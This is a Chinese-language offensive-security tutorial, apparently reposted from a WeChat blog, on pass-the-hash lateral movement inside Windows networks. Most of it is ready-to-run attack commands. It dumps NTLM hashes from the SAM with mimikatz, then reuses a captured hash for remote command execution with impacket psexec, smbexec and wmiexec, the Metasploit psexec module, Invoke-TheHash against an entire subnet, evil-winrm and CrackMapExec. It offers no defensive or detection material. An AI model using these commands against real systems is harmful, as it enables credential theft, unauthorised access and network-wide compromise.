内网各端口hash传递技巧
2023-3-26 00:2:40 Author: LemonSec(查看原文) 阅读量:51 收藏

本文来自“白帽子社区知识星球”

01
前⾔

随着攻防演练的频繁和⼈们安全意识的提升,企业内部Windows主机的⼝令也设置的较为复杂,经 常拿到windows 服务器的时候,获取到了hash,但是⽆法解密出密码的情况,这时候就需要⽤到内⽹ hash 传递技术。使⽤该⽅法,攻击者不需要花费时间来怼hash进⾏爆破,常常适⽤于域/⼯作组等环境中。

02
测试环境

Windows server 2012 ⾸先需要获取ntml hash,由于直接从内存读取到的可能是密码修改之前的hash,这⾥推荐从sam⽂件中读取

mimikatz.exe "log" "privilege::debug" "token::elevate" "lsadump::sam""exit"

这⾥获取到的是:47bf8039a8506cd67c524a03ff84ba4e

对于⼀些远程命令的执⾏⽅式和依赖端⼝

IPC$+AT   445PSEXEC 445WMI 135Winrm    5985(HTTP) 5986(HTTPS)

135 端⼝wmi 哈希传递

wmi (Windows management Instrumentation) 即 windows 管理⼯具,windows 98 之后的操作 系统都⽀持wmi,默认开启,且windows 默认不会将wmi 的操作记录到⽇志。wmi 并不⽀持直接执⾏命令,但可以执⾏⽂件,通过增加执⾏程序参数的⽅式执⾏命令的效果;但 是wmi 是不⽀持返回的,执⾏完之后并不能看到回显

有些⼯具的原理是wmi 创建进程执⾏命令,然后将结果输出到⽂件,这个⽂件位于创建的共享⽂件 夹中,然后通过FSO组件访问远程共享⽂件夹中的结果,将⽂件进⾏输出。读取完成后,执⾏wmi 命令删除⽂件,然后退出删除⽂件共享。其中常⽤的⼯具是impacket 中的wimiexec 利⽤⽅式如下,此时的135 和445 端⼝都开放

若遇到只开放135的情况,可以增加nooutput 参数,不进⾏输出

成功执⾏了whoami 命令

另外,还可通过wmicmd.exe 进⾏利⽤;WMICMD的执⾏过程是吧结果写⼊倒注册表,之后读 取完注册表之后并删除,然后回显到本地,由于wmi 可以远程操作注册表的信息,查询的注册表 信息会产⽣回显

https://github.com/nccgroup/WMIcmd

445 端⼝ SMB hash 传递445 端⼝ SMB hash 传递

利⽤Windows 的smb服务⾸先需要建⽴ipc,可以使⽤hash 传递来进⾏攻击,需要⽬标防⽕ 墙允许445 端⼝的通过。PsExec 是⼀种轻型 telnet-replacement,可⽤于在其他系统上执⾏进 程,⽆需⼿动安装客户端软件即可完成 控制台应⽤程序的完整交互性。 

Impacket

利⽤impacket 中的psexec 程序,命令如下:

python3 psexec.py -hashes 0:47bf8039a8506cd67c524a03ff84ba4eAdministrator@192.168.31.61

利⽤impacket 中的smbexec 程序,命令如下

python3 smbexec.py -hashes00000000000000000000000000000000:47bf8039a8506cd67c524a03ff84ba4eAdministrator@192.168.31.61

利⽤msf

利⽤msf 进⾏pth

use exploit/windows/smb/psexecset rhosts 192.168.31.194set smbuser administratorset smbpass00000000000000000000000000000000:47bf8039a8506cd67c524a03ff84ba4e

03
通过powershell 批量

脚本地址:

https://github.com/Kevin-Robertson/Invoke-TheHash
本地加载powershell脚本:powershell -exec bypassSET-EXECUTIONPOLICY REMOTESIGNEDImport-Module .\Invoke-WMIExec.ps1Import-Module .\Invoke-TheHash.ps1# 利⽤已知的hash 对内⽹主机进⾏批量,域环境Invoke-TheHash -Type WMIExec -Target 192.168.31.1/24 -Domain qq -Usernameadministrator -Hash 47bf8039a8506cd67c524a03ff84ba4e# 利⽤已知的hash 对内⽹主机进⾏批量,⼯作组环境Invoke-TheHash -Type WMIExec -Target 192.168.31.124 -Usernameadministrator -Hash 47bf8039a8506cd67c524a03ff84ba4e

04
5985 HASH 传递

WinRM 是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即⼀种基于标准简单对象访问协 议[SOAP]的 “防⽕墙友好” 协议,它让来⾃不同供应商的硬件和操作系统能够互相操作。winRM的默认端⼝为 5985(http)或5986(https)。winRM横向移动同时适⽤于⼯作组和域环境。 

evil-winrm是Windows远程管理(WinRM) Shell的终极版本。Windows远程管理是“WS 管理协议的 Microsoft 实施,该协议是基于标准 SOAP、不受防⽕墙影响的协议,允许不同供应商的硬件和操 作系统相互操作。⽽微软将其包含在他们的系统中,是为了便于系统管理员在⽇常⼯作中,远程管 理服务器,或通过脚本同时管理多台服务器,以提⾼他们的⼯作效率。

在kali进⾏安装

gem install evil-winrm

执⾏以下命令

evil-winrm -i 192.168.31.194 -u Administrator -H47bf8039a8506cd67c524a03ff84ba4e

05
CrackMapExec

另外⼀款⼯具就是CrackMapExec, 安装⽅式

#~  apt-get install -y libssl-dev libkrb5-dev libffi-dev python-devbuild-essential#~ git clone https://github.com/Porchetta-Industries/CrackMapExec#~ cd CrackMapExec#~ poetry install#~ poetry run crackmapexec

使⽤⽅式

poetry run crackmapexec winrm 192.168.31.194 -u admin -H00000000000000000000000000000000:47bf8039a8506cd67c524a03ff84ba4e -xwhoami
侵权请私聊公众号删文

 热文推荐  

欢迎关注LemonSec
觉得不错点个“赞”、“在看“

文章来源: http://mp.weixin.qq.com/s?__biz=MzUyMTA0MjQ4NA==&mid=2247543869&idx=1&sn=7d09cd9a1ab5e9120aff14fa2b205949&chksm=f9e34366ce94ca7075cb789d55d779efb3f15219d788bd798bd7e04f0b6ef324e0bdac6a787a#rd
如有侵权请联系:admin#unsafe.sh